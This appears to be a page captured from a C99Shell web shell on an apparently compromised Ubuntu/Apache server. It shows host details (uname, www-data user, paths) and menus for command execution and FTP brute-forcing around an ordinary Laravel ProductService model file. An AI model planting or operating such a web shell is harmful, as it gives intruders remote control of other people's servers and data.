!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/app/Models/   drwxrwxr-x
Free 13.14 GB of 57.97 GB (22.66%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ProductService.php (3.89 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Models;

use 
App\Models\Tax;
use 
Illuminate\Database\Eloquent\Model;
use 
Illuminate\Support\Facades\Auth;
use 
Illuminate\Support\Facades\DB;

class 
ProductService extends Model
{
    protected 
$fillable = [
        
'name',
        
'sku',
        
'sale_price',
        
'purchase_price',
        
'tax_id',
        
'category_id',
        
'unit_id',
        
'type',
        
'created_by',
    ];

    public function 
taxes()
    {
        return 
$this->hasOne('App\Models\Tax''id''tax_id')->first();
    }

    public function 
unit()
    {
        return 
$this->hasOne('App\Models\ProductServiceUnit''id''unit_id')->first();
    }

    public function 
category()
    {
        return 
$this->hasOne('App\Models\ProductServiceCategory''id''category_id');
    }

    public function 
tax($taxes)
    {
        
$taxArr explode(','$taxes);

        
$taxes  = [];
        foreach(
$taxArr as $tax)
        {
            
$taxes[] = Tax::find($tax);
        }

        return 
$taxes;
    }

    public function 
taxRate($taxes)
    {
        
$taxArr  explode(','$taxes);
        
$taxRate 0;
        foreach(
$taxArr as $tax)
        {
            
$tax     Tax::find($tax);
            
$taxRate += $tax->rate;
        }

        return 
$taxRate;
    }

    public static function 
taxData($taxes)
    {
        
$taxArr explode(','$taxes);

        
$taxes = [];
        foreach(
$taxArr as $tax)
        {
            
$taxesData Tax::find($tax);
            
$taxes[]   = !empty($taxesData) ? $taxesData->name '';
        }

        return 
implode(','$taxes);
    }

    public static function 
getallproducts()
    {
        return 
ProductService::select('product_services.*''c.name as categoryname')
            ->
where('product_services.type''=''product')
            ->
leftjoin('product_service_categories as c''c.id''=''product_services.category_id')
            ->
where('product_services.created_by''='Auth::user()->creatorId())
            ->
orderBy('product_services.id''DESC');
    }

    public function 
getTotalProductQuantity()
    {
        
$totalquantity $purchasedquantity $posquantity 0;
        
$authuser Auth::user();
        
$product_id $this->id;
        
$purchases Purchase::where('created_by'$authuser->creatorId());


        if (
$authuser->isUser())
        {
            
$purchases $purchases->where('warehouse_id'$authuser->warehouse_id);
        }

        foreach(
$purchases->get() as $purchase)
        {
            
$purchaseditem PurchaseProduct::select('quantity')->where('purchase_id'$purchase->id)->where('product_id'$product_id)->first();
            
$purchasedquantity += $purchaseditem != null $purchaseditem->quantity 0;
//            dd($purchasedquantity);
        
}

        
$poses Pos::where('created_by'$authuser->creatorId());
//        dd($poses);

        
if ($authuser->isUser())
        {
            
$pos $poses->where('warehouse_id'$authuser->warehouse_id);
//            dd($pos);
        
}

        foreach(
$poses->get() as $pos)
        {
            
$positem PosProduct::select('quantity')->where('pos_id'$pos->id)->where('product_id'$product_id)->first();
            
$posquantity += $positem != null $positem->quantity 0;
        }

        
$totalquantity $purchasedquantity $posquantity;

        return 
$totalquantity;
    }

    public static function 
tax_id($product_id)
    {
        
$results DB::select(
            
DB::raw("SELECT IFNULL( (SELECT tax_id from product_services where id = :id and created_by = :created_by limit 1),  '0') as tax_id"), [ 'id' => $product_id,  'created_by' => Auth::user()->creatorId(),]
        );

        return 
$results[0]->tax_id;

    }


    public function 
warehouseProduct($product_id,$warehouse_id)
    {
        
$product=WarehouseProduct::where('warehouse_id',$warehouse_id)->where('product_id',$product_id)->first();
        return !empty(
$product)?$product->quantity:0;
    }



}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0063 ]--